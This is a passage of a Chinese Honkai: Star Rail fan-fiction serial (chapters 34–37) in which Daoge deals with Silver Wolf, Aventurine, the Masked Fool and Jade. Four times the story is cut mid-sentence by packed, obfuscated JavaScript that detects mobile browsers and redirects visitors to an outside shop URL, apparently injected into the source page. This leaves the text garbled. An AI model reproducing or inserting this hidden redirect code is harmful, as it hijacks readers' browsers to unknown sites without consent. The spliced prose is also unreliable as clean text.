RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020203|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而砂金骰出了5,银狼骰出了2。 “哦……好吧。我先出牌。”银狼兴致勃勃地翻出一张“削弱”,指着悼歌说,“双倍的削弱对这位玩家!” “我一点也不意外。”悼歌消沉地又翻开一张“无效”。 “啧。”银狼不爽地啧了一声。 而砂金扔出一张“增幅”。 “好吧。第三回合。”银狼说,“我先扔。” 她扔出了一个6。 而砂金和悼歌分别扔出了3、2。 “……” 悼歌叹了一口气,说:“快一点结束吧。” 他翻开一张“增幅”。 砂金翻开一张“削弱”。 至少平局是有了,毫无意外的结果。 银狼“切”了一声,甩出一张“无效”,说:“平局。” “我不是很意外……”悼歌说,“总之,游戏已经玩完了。我得和您说再见了……” “等等。”银狼叫住他,说,“既然平局了,那我好心地把出口送给你。” “但情报就没有了。“银狼强调说。 “……”悼歌微微惊奇地说,“啊,这倒是意外之喜。谢谢。” 银狼一边吹泡泡,一边说:“就当是之前你帮过我们的回礼了——耶佩拉叛乱案那事的确得谢谢你。” “但是星核还是我们的。”星核猎手强调道。 悼歌一边跟上,一边说:“也许。不过世事无绝对。” “……”砂金沉默地跟了上去,说,“平平无奇的平局——这在我的人生体验中也堪称少有……” “怎么,你玩游戏从来没平过?”银狼瞥了他一眼,说,“不要太自大了,公司的。” “不……我倒也不是这个意思。”砂金说,“但是我的人生里尽是些以生命为赌注的牌局……忽然这么平静地平局了,怎么说好 呢,多少让我有些意外。” “毫无意外的平局也是游戏的一部分,”银狼头也不回地说,“是所有热爱游戏的人不得不品的一环。虽然我也不喜欢平局。” “原来如此。”砂金若有所思地说,“不过,猎手小姐,我能问个问题吗?” “你说。”银狼简洁地说。 “你准备的这个游戏显然是三个人玩的——”砂金摊手,“但我显然不在你的预料之中……” “你原定的‘第三人’,是谁?”砂金问。 “……”银狼看了一眼悼歌。 “没关系,银狼,我来说。”悼歌想了想,直白地说,“原定和我一起来的是我的一位朋友,因为我和他总是一起行动,所以银狼默认会有三个玩家。” “我也很想问。”银狼摆着死鱼眼问,“你是从哪里冒出来的,公司的?” “哦,我当然是正常地从伊伊玛尼喀的大门堂堂正正地进来的……”砂金皮笑肉不笑地说,“说不定我走的时候还能堂堂正正地从伊伊玛尼喀的大门走呐。” “哼。”银狼抱臂冷笑,“别的我不清楚,但你想堂堂正正地从伊伊玛尼喀走?或许梦中可以。” “既然你知道这儿有一颗星核,还以为接下来的一切都会那么和平安宁吗?”银狼说,“快点走吧,你们两个。疯牛可没打算留余地,伊伊玛尼喀已经不安全了。” 34.三十四、卡卡瓦夏不需要同情 星核猎手很快将伶人和公司使节带到她预留的偏门。 银狼指着门说:“从这出去,直走三百米,然后……” “然后左转,上栈桥。”悼歌接话说,“谢谢您的提醒。” “……”银狼死鱼眼,“既然你知道,我就不废话了。” 银发的星核猎手迟疑了一下,抬头凝视悼歌和砂金,再一次重复说: “伶人,我再说一遍,这儿不安全,你早点走。星核哪里都有,你没必要非得和我们抢这一颗——你很有可能也抢不过。” “……” 银狼的说法将星核贬得像俯拾即是的路边石子,但不妨碍伶人从这句话中感受到她别扭的关心。 悼歌摩挲了一下拐杖,诚恳地问: “这是关心吗?谢谢。” “……”银狼掩饰地抱臂,说,“我随口一提,你不信就算了。” “谢谢您的关心。”伶人垂眼看她,说,“我非常相信您的说法,但我有留下来的理由——不只是为了星核。” “好吧。”银狼放下手,“那就在这里说再见吧,希望还有见到你的时候,可别死在寰宇哪个角落了。” —————————————————————— 和银狼分别后,悼歌与砂金以极速离开了疯牛无人工业区。 此时已经接近傍晚。 远处,伊伊玛尼喀的天空呈现火烧般的血红色。夕阳的余晖涂抹在高楼的金属涂层表面,染出凄冷又壮阔的晚景。 那片如血的晚霞,让砂金回想起茨冈尼亚暴风眼下那仿佛干裂燃烧的天空。 茨冈尼亚,焦渴的暴风眼,诸神唾弃之地。 有石而无水,有雷而无雨,有血而无泪。 他的母星盛产的东西,就只有坠星、风雷,以及残忍的剥皮尖刀卡提卡人。 时过境迁,他已经从当初那个需要和卡提卡人赌命的孩子,摇身一变,变成如今公司的高级员工…… 但是,在今时今日注视伊伊玛尼喀血红色的夕日,他忽然生出一种倥偬恍惚之感。 他仿佛再一次听见他出生之时,母亲那饱含悲伤的低声呢喃: “欢迎来到这个悲伤的世界……” “卡卡瓦夏……” “砂金先生?砂金先生。”伶人清晰的声音将他从回忆里拉回,“您刚刚有听见我说话吗?” “天……”砂金捂着脑袋,说,“可能是你那秩序小曲的后遗症……算了。你刚刚说什么?” “我说,接下来我要前往摩根勒菲的庄园。”悼歌观察着砂金的神情,以平稳和缓的声线轻声说,“我本想和您在下一个蜉蝣飞车站点道别……但您似乎不太舒服。” 悼歌问:“需要我送您一程吗?” 砂金沉默注视伶人。 又来了,伶人那好懂的同病相怜。 某种意义上,伶人非常敏锐。此刻,这位悲悼伶人很显然注意到了他的心绪,并意识到他是为了什么而低沉。 因此,这位有着和他类似经历的伶人,开始不能避免地物伤其类…… 砂金扶了扶帽子,扯着嘴角笑起来,颇有些攻击性地反问:“朋友,你这是在同情我吗?” “……” 伶人脸上罕见地浮现出一点惊讶和不知所措。 “你当然会同情我……”砂金转着筹码,嘴角翘起,那双瑰丽的眼珠却不含一丝笑意,阴沉得不能反射一丝光线,“你看,我同你一样是一个种族最后的遗孤。” “我能理解你的悲伤,因为我也时时陷入这些悲伤之中。我不得不向公司出卖自己,以换取立足之地……”砂金继续扯着嘴角微笑,语气诡异地轻柔,“伶人,和我做笔交易如何?你可以随意利用我,也可以在恰当的时机背叛我……” “利用与背叛都是价值互换的手段……”砂金意有所指地轻声说,“而我,绝对不会成为让你赔本的那一笔投资。” 在如血夕阳下,公司的使节那摄人心魄的眼睛像一对深不见底的漩涡,紧紧地锁定着悼歌。 “……” 悲悼伶人脸上的惊讶和不知所措变成了消沉和阴郁。 好个公司,好个石心十人。 悼歌焉焉地想: 他似乎能听见砂金脑袋里齿轮高速转动的声音——这位公司使节正在光速转动八百个心眼。 公司的使节正在光明正大地利用伶人的同情心,或许还在像一只花枝招展的孔雀一样利用自己优秀的外貌和嗓子。很显然他只有一个目的,那就是利用伶人刚刚的同情,为公司此行增添一枚筹码、一个助力。 悼歌斟酌了一会用词,最终郁郁地说: “您显然很了解悲悼伶人。但是容我为我们辩白一点:悲悼伶人不是傻瓜冤大头。” “……” 悲悼伶人又斟酌了片刻,说:“您刚刚说得不错,我们同样是一个种族最后的遗孤。” “但是您的悲伤和我的不同。”伶人深呼吸,说,“也许我应该向您道歉,因为我在您面前展露了同病相怜的悲伤……” “我很抱歉,”伶人再一次道歉,“实际上,您的悲伤和我的不是同一样东西。” 砂金神色不明地注视着伶人。 伶人继续道: “不公平的命运将您掷在茨冈尼亚的暴风眼,不公平的命运带走了您的种族,而您自命运的洼地奋力而起,以凡人的力量行至如今的地步。” “您的一生像一出波澜壮阔的宏伟悲剧。您自嗤笑蔑视:纵然命运至您于泥淖中,您也可以凭借手中唯一的一点筹码擢升而起。” 伶人诚恳地说:“从这样的意义上来说,您是个了不起的人。您不需要我的‘怜悯’或‘同情’,那也许是一种侮辱。” “——因此我更不希望我的同理心变成您手中的筹码,砂金先生。”悼歌说,“比起将感情变成利益用来量化衡量,悲悼伶人更习惯真心的朋友。” 真心的朋友,这在寰宇中是个过于奢侈的要求。伶人想。 如果有智生灵能够意识到,他们所处的宇宙是一个巨大的养蛊盅,各类牛魔蛇神、行走天灾、疯癫狂人在这个星际大舞台上舞得忘情,癫得纯粹,堪称高效的文明粉碎机——如果他们能意识到,也许他们睡觉也要睁着眼睛。 在这样的宇宙里谈论“爱、友情与和平”的话题总有些魔幻现实主义,还是就此打住吧。 悲悼伶人无声地叹气。 他背对着夕日,拄着拐杖,郑重地另起话题,说: “但我仍然愿意向您承诺。如果您遇到生命危险,悲悼伶人不会对您见死不救。这和怜悯无关,仅仅因为我能从您身上窥见某种使我敬佩的品格……仅仅因为我是个悲悼伶人。” 悼歌维持着这幅郑重的神情几秒,就维持不住地消沉下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027441|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说: “好,我已经向您阐明我的想法。现在您怎么说?需要我送您一程吗?” “……”砂金笑说,“哦,这倒是不必。有你前面那句话也足够了。” “那我就此和您说再见了,”悼歌礼貌委婉地说,“祝您在和疯牛的商业竞争中一切顺利。” 悲悼伶人说罢,对着他挥挥手致意,转头离去。 ———————————————————————— 劳累了一天的悲悼伶人回到摩根勒菲的庄园他那暂时的住处。 困倦和疲惫前所未有地一拥而上绑架了他,因此,在简单地沐浴之后,伶人早早安详地躺在床上将自己沉入梦境。 深黑的睡眠是疲累过后最幸福的事情。在无忧的梦乡中他的心脏和大脑得到了双重休憩,如果世界上真有天堂,天堂一定就是这样的深度梦境。 可惜,悲悼伶人的睡眠未能维持四个小时,一只手就捏着他的鼻子把他吵醒。 悼歌万分不愿地从睡眠的怀抱中挣脱,眨巴开一道缝隙看向来人:黑暗中那头金发,那幽幽发光的绿色眼睛,不是假面愚者是谁? 悲悼伶人犹如霜打的茄子般昏昏沉沉、瓮声瓮气地说:“……杰斯特,我觉得你在对我进行谋杀。” 愚者松开手,轻快地说:“晚上好,亲爱的忒利斯提斯。我有一个好消息和一个坏消息迫不及待想和你分享。你想先听哪一个?” 悲悼伶人无精打采地说:“我想睡觉。” “你这个年纪,你怎么睡得着的?”愚者笑眯眯地把他从床上逮起来,独断专行地替他做了决定,说,“别睡了,我先来讲讲坏消息——” “在你睡着的四个小时里,疯牛发现了你所做的一切。”愚者轻松地说,“气得发癫的疯牛已和翡翠达成了交易:他要公司为他提供充足的能源。为此他承诺,愿意给出将近五分之三的股权……” “忒利斯提斯,你猜他想做什么?”愚者笑眯眯地问。 “……” 悲悼伶人彻底清醒了。 他点开床头的台灯,从床上坐起来,柔和昏暗的橙黄色光芒笼罩了房间。 “他坐不住了。”悼歌阴沉地说,“他求到翡翠那里去,已经彻底撕裂了表面的和平。他想做什么简直太过明显——” “他要‘砰’一声,让伊伊玛尼喀像个气球一样爆开,于是他好带着同步轨道庄园一走了之。”愚者打了个响指,接话说,“你看,忒利斯提斯。这家伙在伊伊玛尼喀已经捞不到什么油水,又害怕摩根勒菲在死前会拖着他一起死,于是他就要把一整个星球的人都炸上天。” “我建议你把他杀了。”愚者阴森笑说,“虽然我们也不是好人,但他简直拉低我们坏人的平均水平。” “我不能更赞同。”悼歌说。 “我就知道你会赞同我。”愚者赞同地给伶人鼓掌,继续说,“不过也别太担心。砂金已经将疯牛握有星核这一消息和证据告诉了翡翠。” “翡翠,这位放高利贷的手段了得。为了公司的利益,她不会让疯牛如愿的。你可以提前期待一下疯牛被翡翠背刺时,他那扭曲的脸了。” “翡翠……”悼歌重复一遍这位石心十人的名字,犹豫了一下,说,“她使我感到奇怪。” “?”愚者歪头,“怎么说?” “她似乎拥有看透人心的能力。”悼歌简单地说。 35.三十五、两个都是坏消息 “你是说,翡翠能读心?”愚者绿色的眼睛注视了悼歌一会,若有所思地说,“这倒是可以解释为什么她听到砂金的消息时毫不惊讶……但你是怎么知道的?” “这只是一个猜测。”悼歌一边说,一边回想和翡翠相处的短短几分钟,“也许不需要砂金告诉她,她也知道疯牛的秘密。可以肯定的是,在疯牛的问题上,她和砂金不会是我们的敌人。” “哎呀。”愚者自傲地说,“就算她和砂金是我们的敌人,有我在,你也用不着害怕他们。” 然而,一想到最近两天,伶人都无暇和他一起去找乐子,反而把时间都用来和砂金待在一起,愚者不由得添油加醋地阴森说: “他们公司的就是心眼子多,那个砂金的心更是像一块蜂窝煤:不仅心眼多,还心黑。” “你白送他消息,还带他去拿星核的证据,”愚者拉长语调阴阳怪气地说,“他却想着怎么利用你的同情心。忒利斯提斯,要我说你就该狠狠地不给他好脸色,词我都替你想好了——” 愚者横眉瞪眼,口中说:“呔!你是哪里来的三流演员!我悼歌大人十方世界所有众生天上天下唯我独尊宇宙无敌悲悼伶人,一双眼光射寒星,两弯眉浑如刷漆,一眼就识破你破绽百出的演技!你必定是虚情假意来骗同情的!” 悼歌:“……” 愚者笑嘻嘻地看着他的朋友脸上那种拿他没办法又欲言又止的神情。 悲悼伶人慢吞吞地指正说:“我左眼看不见,没办法‘一双眼光射寒星’。” “好像是这样,”愚者沉思,“那你就说‘一只眼光射寒星’吧。” 悼歌:“……” 悲悼伶人说:“我不是很想这样说。” 愚者竖起一根手指,笑眯眯地说:“那我还有一个版本。你可以说‘吔!你是哪里来的葱,竟敢和我比惨?’” 悼歌:“……” 悼歌:“这有任何逻辑可言吗?” 愚者瘪嘴:“忒利斯提斯,你是不是在向着那个黄毛花孔雀?你不是我的好朋友了?” 愚者说得声泪俱下,似乎悲悼伶人迟疑片刻,他就会又哭又闹地拿一根面条把自己吊死在伶人的门口。 悲悼伶人焉焉地说:“好严重的指控。你永远是我的朋友。但是这和我准备帮那位公司使节并不冲突。” “……” 愚者从一哭二闹三上吊的状态恢复正常,笑眯眯地说:“哎呀,好吧。所以我讨厌欧皇……他的运气居然在这种地方也能生效。遇见你算他运气好。” “好吧……我原谅你今天又不带我玩了。”愚者笑眯眯地说,“谁让你是我朋友?” 愚者说完,把自己感动得不行:“啊,我真伟大,完全值得一个‘寰宇最佳好兄弟’的奖章。” “你真的想要的话,”悲悼伶人说,“我可以给你做一个。公司给摩根勒菲的生日贺礼中有不少宝石,而摩根勒菲在今天早上把它们送给了我……你想要什么颜色的奖章?” “金色的!”愚者立刻回答。 “——等等!”愚者猛然回想起砂金的头发也是金色,紧急说,“不行,不行。和那只金毛孔雀撞颜色了。” “……所以我才讨厌欧皇。”愚者磨牙说,“他为什么把我喜欢的颜色用走了?” “……” 悲悼伶人想了想,决定包容愚者的无理取闹,不指出金色是一种常见的发色,转而说: “我可以做出寰宇独一无二的工艺,让奖章上的金色和你紧密关联,凡是看到它的人绝不会认错这金色的代表者。” “算了,我要蓝色的吧。”愚者的眼珠子在眼眶里转了一圈,笑眯眯地说,“你可以做寰宇独一无二的工艺,让奖章上的蓝色和你紧密关联,然后我戴在胸前出门,别人一看就知道你是我朋友。” “……” 熟知假面愚者性格的伶人慢吞吞地说:“我觉得,你是在为下一次惹出大动乱做铺垫,方便别人一眼看出我是你的同伙,于是立刻跑来逮住我。” 假面愚者乐不可支地哈哈大笑:“还是你了解我。我就是这个意思。” 伶人以谴责的目光凝视愚者三秒。 三秒后伶人绷不住严肃的面容,率先叹气,说:“还有一天。我只希望这一天能平静地渡过。” “以及,你似乎还没有把好消息说出口。”伶人提醒道,“你说的好消息是?” 他一边说一边困倦地伸手去熄灯,准备听完这个好消息就再补两个小时的觉。 “……” 愚者幸灾乐祸地笑了一下,说:“有个曼陀罗的蠢货跑去翡翠的‘慈玉典押’许愿了。他许愿让摩根勒菲的寿命延长一些。” 伶人试图熄灯补觉的手顿时僵住。 “你……”悼歌如遭雷劈,“你管这个叫好消息吗?” “为什么不是呢?”愚者诡秘地笑着说,“我又有乐子可以看了。你说凡人多贪心啊。生命的长度再长,他们也觉得短。” “翡翠这家伙不是自称,只要给得起她感兴趣的价值,她来者不拒,无所不能?”愚者戏谑又讥讽地笑着说,“向她许愿的家伙愿意付出自己的生命——无论翡翠能否达成这个愿望,我都会感到愉快。一出绝佳的好戏啊。” “……” 悼歌深呼吸,感觉到脑袋开始嗡嗡作响,阵阵疼痛。 他捂着脑袋,问:“摩根勒菲知道这件事了吗?” “事发后三分钟内,我第一时间来告诉你了。”愚者优雅摊手,“不用谢。” “就是不知道。”悼歌确认。 悼歌立刻整理着装,说:“这下,不管翡翠能不能做到,我们都得去见她一面了。那位向她许愿的曼陀罗成员更是要格外注意。” 翡翠,这位冷艳优雅的放贷人来到伊伊玛尼喀的目的并不难猜:有一半,她为利益而来,有一半,她为砂金而来。 砂金在摩根勒菲这里碰壁的第二天,她就不声不响地登门拜访。按理来说,伊伊玛尼喀的情况用不着公司P-46的人出面,但她来了。 这是什么打了小的来了老的啊?伶人忍不住想,虽然这句话用在这里的情景不太合适,但他真的开始怀疑翡翠是否和砂金在血缘上有关系。 伶人摒弃蔓生的思路,继续思考: 不管怎么说,翡翠来了,并且插手了。那个求到她面前去的曼陀罗的成员更是给了她名正言顺出手的机会。 他需要尽快将这一消息告知摩根勒菲。 悼歌取过拐杖一边走一边想。 “你真的要去管吗?”他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037544|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,愚者在他的床边坐下,托腮歪头,“要我说,去求翡翠的人落了什么下场都是活该,自找的。他们知道翡翠是个‘魔女’,还愿意和她做交易……” “好良言难劝该死鬼啊,我亲爱的朋友。”愚者说。 悼歌解释说:“不,我主要是为了摩根勒菲……言语解释起来多有复杂,总之……” “……” 他叹了一口气,低落地说:“算了。今天晚上又睡不成了。” ———————————————— “你是说,”摩根勒菲披散着头发的形象在镜面如水波般浮现,“有一位曼陀罗的成员去向翡翠许愿了。” 她显然是突然被人从睡眠中叫醒的,但即便如此,从她的脸上也看不出一星半点不耐。 此刻她那双深红色的眼睛像两块红宝石般凝结着冷意。 “正是。”伶人颔首,对着手上小小的圆镜说,“他以生命为抵押,祈求翡翠为您延寿……翡翠同意了。” “……” 摩根勒菲长长叹息:“我很抱歉,是我管束无方。活在和平年代的孩子的确容易做出这样的事情。” 她干脆地说:“我会给这名成员应有的惩罚。这属于你我约定之外的突发事件,你不必为此奔波。” “……” 伶人垂眼,说:“我答应您的约定不会变改。而这件事……” “这件事,”伶人静静地说,“是我对您的感谢。谢谢您一直以来给予我的种种照顾和关心。” “接下来我会去见翡翠一面。”伶人说,“以及,请您务必要注意安全。我捣毁了疯牛提取星核能源的工厂,但他有替换方案:他和翡翠做了交易。” “接下来他很有可能提前动手。而公司的砂金可能会成为您暂时的同盟,但翡翠的立场依旧不明晰。” “……” 伶人平稳而轻柔的声线中掺杂了命途的力量,如往复漫上海滩的海浪,使人因缺少睡眠而不悦的心情渐渐平和下来。 “谢谢,悼歌。”摩根勒菲的神情柔软下来,她温和地勾勒出一个笑容,“愿纯美的光芒看顾你的长路,愿恩?德芮的祝福伴你同行,直至宇宙尽头。” —————————————————— 伊伊玛尼喀的清晨,当万物都笼罩在晨曦的熹微中时,曼陀罗与疯牛交界地一家新开的典押铺已经开张。 这间忽然出现,名为“慈玉典押”的店铺在短短三天内就积累起了惊人的人气,方圆十里地都听说了它的传闻: 传说,经营这间店铺的老板娘,正是货真价实的星际和平公司石心十人之一,P-46的翡翠。 只要付的出她感兴趣的价格,她来者不拒,无所不能,是一位万能的魔女。 她实现愿望,也收取等同的价值。 而这个清晨,当伊伊玛尼喀的众人都还睡在朦胧中之时,这间华贵典雅的店铺的门被一只苍白的手推开了。 坐在帷幕后的翡翠笑着轻声说: “欢迎光临【慈玉典押】。来者何人,所求何物?” 苍白之手的主人关上了门,一个沉静、舒缓、语调优美如歌的声音回道: “来者忒利斯提斯。所求……” “……和您面对面谈谈。” 36.三十六、毒蛇温柔的獠牙 “呵呵。”翡翠低沉的笑声从帷幕之后传来。 这位冷艳优雅的放贷人伸手掀开了帷幕,微笑着说: “多么简单的诉求,我又怎好拒绝?请坐,伶人。” 悼歌依言在翡翠面前坐下,慢吞吞地理了理自己的头发,又将拐杖好好地揣在臂弯。 翡翠的蛇瞳颇感兴趣地紧紧锁定着伶人。 一段时间不见,这位伶人身上死亡的气息更加浓郁。 他来之前也许化过妆遮盖,但那苍白的唇色和缺乏血气的皮肤都在昭示一个事实: 他已步入衰亡。 死神的镰刀正悬在他的头顶,很快就将落下,把那奄奄一息的残生无情收割。 实际上,从翡翠见到这位伶人的第一面,她就能确定: 这位伶人身患不治之症,已命不久矣。 而摩根勒菲这位将死之人,竟然选择将一整个曼陀罗的安危和伊伊玛尼喀的存亡寄托到这样一位盟友身上…… 古怪。 但古怪之处,往往也是突破口。他身上一定有更值得摩根勒菲看重的力量,所以才能在即使病重的情况下,成为摩根勒菲托付的选择。 翡翠一边思忖,一边不动声色地微笑:“早上好,伶人。你特意早早来找我,是准备和我聊什么呢?“ “……” 伶人垂眼,避开翡翠极具穿透力的视线,静静地说:“昨天白日里,您的后辈砂金来找我,希望和我一起去揭开疯牛的诡秘阴谋……” “我想,”伶人说,“他已经把疯牛握有一颗星核的事实告诉了您。” “不错。”翡翠动作优雅地为伶人泡茶,“在这一点上,我的确要谢谢你照顾砂金。他还是个气盛的年轻人,做事多少有些欠缺稳重。多谢你在疯牛的无人工厂看顾他。” 翡翠涂着冷色调指甲油的手将一杯温热而香气浓郁的花茶推至伶人的手边,笑着说: “……悲悼伶人高尚之名,诚不欺我。” 伶人接过花茶,温热的温度从指尖传来,缓解了一些他在清晨行走多时的彻骨寒冷。 伶人捧着花茶,并不喝,垂着眼睛凝视花茶氤氲的水面:“您过奖。我实际上另有所图。” “你是个爽快人。”翡翠端起自己的茶杯抿了一口,“你帮砂金,是为了摩根勒菲吧?” “正是。”悼歌直言不讳地说,“我本来的计划中没有和您见面这一项。但既然您率先提起——” “昨天夜里,您见了一位曼陀罗的成员,答应了他为摩根勒菲延寿的请求。”伶人抬起眼睛直视翡翠,“我为此而来。” “……” 翡翠含着微笑,反问: “你觉得,这不是一件好事?我以为摩根勒菲是你的朋友——而你也是一个将死之人。步入衰亡的心情,我想没有人比你更清楚。而你却觉得,这不是一件好事?” “……” 悼歌摩挲着拐杖,说:“正因为我和摩根勒菲同样是步入衰亡之人……所以我更明白她的心情。” “她并不想要通过特殊手段来延长生命。” “您来自公司,而公司和仙舟联盟是密切的盟友。”悲悼伶人浅蓝色的眼睛地直视着翡翠的蛇瞳,“仙舟联盟长生的代价,您应该非常清楚。” “……” 翡翠轻柔地反问: “那么,如果我说,我也能治好你呢?” “……” 虽然只有一瞬间,但是翡翠敏锐地捕捉到,伶人浅蓝色的眼睛放大了。 这句话肯定在伶人的意料之外,但他很快恢复正常的神情,冷静地指出:“翡翠女士,容我指出:您无法治好我。” “为什么这么肯定?”翡翠优雅地摊手,从帷幕之后走了出来,携带着权杖,说,“伶人,我诚挚邀请你和我同行一趟。在这半天内,我将向你展示伊伊玛尼喀的众生万象——待这同行结束,你再拒绝我不迟。” “……” 悲悼伶人审慎地注视着这位捉摸不透的石心十人。 清晨逐渐亮起的晨曦为翡翠的身影镀上一层金边,令她看起来如此光亮,像是一个希望。 翡翠含着笑意看着伶人那迎着阳光显得清澈通透的浅蓝色眼睛。他神情平静而谨慎地注视着她,却难以掩盖皮囊之下溢出的悲伤,仿佛心中有个不知名的小人在为她所描述的生的诱惑而动容。他的眼睛像镜面一样映出她的身形……在这只眼睛中,她宛如光辉的救主。 很快,那只眼睛就垂了下去。 ——但真正的希望不在此处。伶人在心底无声地说。 迫近的死并不可怕,而且他从不孤独。 悲悼伶人想明白这一点后,毫无畏避地对上翡翠的眼睛,冷静地说:“当然,愿陪您走一趟。” —————————————————— 伶人跟随在翡翠的身后,感到自己身前冷艳的放贷人好比一条嘶嘶吐信的毒蛇,正将尖利的毒牙对准他的脖子,优雅残忍地注射着毒液。 翡翠低沉的声音还在前方为他介绍接下来要见的人: “我想,你一定很清楚伊伊玛尼喀的历史。接下来我们要去见的这一位客户是一位曼陀罗派系的老成员。他曾经亲历三十年前的战争,并永远地失去了一条腿。” “……” 伶人不做言语。 翡翠继续说: “两天前,他听说了慈玉典押,于是找上门来,向我请求一支如自身身体般灵活的义肢。我同意了这个交易。” “……” 伶人慢吞吞地开口问:“那么,代价是什么呢,翡翠女士?” “他付不出可供抵押的财物,因此我向他收取了另一样东西:他失去右腿而换来的名誉。”翡翠微笑着说,“具体到物件上,则是摩根勒菲曾嘉奖那场战争中战士的特殊勋章——曼陀罗地界上另一种无往而不利的通行证。” “很快,曼陀罗的成员就将知道,这位曾忠诚于曼陀罗的战士来找过公司的我。”翡翠翻看着合同,温和地说,“而他此前所受的尊敬与崇拜,也将随着这一消息的扩散而消失……” “对曼陀罗的其他成员来说,在这个时间节点,在摩根勒菲严令禁止下,给了公司极大便利的他,行为和背叛无异。”翡翠说。 “……” 悲悼伶人默不作声。 他一路沉默,像个安静的哑巴,跟在翡翠身后,从繁华的街区行至安静得有些诡异的住宅区—— 一片保留了三十年前的建筑风格的住宅区。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044872|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一众反光金属、变形技术大肆运用的建筑物之间格格不入。它如此朴实无华,像是被快速前进的世界遗忘的一个角落。 翡翠轻车熟路地在一扇门扉前停步,抬手扣门,不轻不重,一短两长,犹如逐渐绞紧猎物的蛇。 门扉打开,一个老人出现在两人面前。 他衣着简朴,虽然头发已经花白,但行动利索,完全看不出失去右腿。 翡翠微笑致意,取下合同中的一页,递给眼前的老人: “您好,琼斯先生。按照我们的交易,我来收取您许诺之物。” 老人接过合同,向她的身后看了看。 他看到了悼歌,脸色蓦然一变,指着悼歌说:“你……你答应过我,不会带曼陀罗的人到交易现场……” 悼歌慢吞吞地开口说:“事实上,我并非曼陀罗的成员。” “我只是摩根女士邀请的客人,无意对您的行动发表意见。”悼歌说,“您可以当作我不存在。” 老人又狐疑地把视线移到翡翠的脸上。 翡翠脸上是他捉摸不透的微笑,她优雅地持着权杖静静等候,并不作解释。 老人长长叹息,转身回屋内,取出一个小盒子。 那是一个巴掌大小的金属盒子,看得出盒子的主人对其非常珍视,它簇簇如新,表面光华得毫无划痕,反而锃亮反光。 老人极快地打开了盒子,将其中的内容物在翡翠面前晃了晃,就又关上了盒子。 悼歌只来得及看清那盒子中美丽徽章的一角。 翡翠接过盒子,微笑说:“那么,交易至此就结束了。希望你满意这样的结果。” 优雅的放贷人携带着她想要的东西转身而去,留下老人呆呆地站在门口,怔怔看着她的背影,沉默无言。 ———————————————————— “我们接下来要见的第二位客户,”翡翠把玩着那枚美丽的勋章,微笑着说,“来自疯牛。一个因疾病和羸弱而备受歧视的年轻女士。” “……” 悲悼伶人垂着眼睛开口:“而她向您索求健康强健的体魄?” “正是如此。”翡翠冰冷的指尖抚摸着勋章上璀璨的宝石,“你知道疯牛们崇尚的法则。他们凭借武力和强健的体魄论尊敬,凭个人占有财富的多寡论地位……也许你可以想见,她在这样的论调下受了多少鄙夷和白眼。” “……” 悲悼伶人问:“她向您支付了什么?” “青春。”翡翠收起勋章,微笑着回答,“她此后的人生,都将无偿为星际和平公司在伊伊玛尼喀的分部工作。她得不到报酬,也因此得不到疯牛社会中其它成员的尊重。” 悲悼伶人沉默片刻,问:“即使她支付的劳力已经足够覆盖治疗她的疾病所需的价格?” “我是商人,亲爱的伶人。”翡翠微笑,“我从未说过和我交易是一件平等的事。你难道还见过不收取溢价的商人吗?” “更何况要治好她的疾病,所需的信用点将是一笔天文数字。”翡翠说,“即便我不收取任何利息,她也需要为公司工作30年才能偿清……她并非长生种,那时的她已经是个垂垂老人。” “……” 悲悼伶人默不作声。 37.三十七、你的灵魂又价值几何 翡翠带着悼歌,乘坐疯牛搭建的云梯,前往平流层的天空城市。 巨大的亚空晶壁笼罩着这座天上之城,令它像一颗透明的琥珀,兼具冰冷的科技感和不真实的奇幻之美。 一碧如洗的天空中隐隐若现的晶壁,毫无遮挡而慷慨倾洒的金色阳光,以及那座城市之下浩瀚洁白的云海—— 这座城市美得犹如一切纷争喧嚣之外的纯净之歌。 在云梯之中凝视亚空晶壁的悲悼伶人收回仰望的视线。 那是星际和平公司的技术。只有在这种时候,他才能觉得,星际和平公司的存在的确有其价值。 他身旁,翻看着合同的翡翠笑着俯瞰她脚底下的世界: “站在这个高度俯瞰伊伊玛尼喀,你能将近乎曼陀罗的大部分属地纳入视野。天空之上总是如此空旷,视野也因此开阔,但人们的欲望却并不会因为视野的开阔而不同……” “……” 悲悼伶人顺着翡翠的视线看向地上的世界。 